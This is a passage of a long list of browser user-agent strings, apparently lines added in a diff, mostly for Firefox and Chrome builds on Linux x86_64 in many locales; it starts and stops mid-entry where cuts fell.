(X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ +Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 +Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 +Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 +Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) +Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 +Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 +Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) +Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 +Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 +Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 +Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 +Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 +Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 +Mozilla/5.0 (X11; 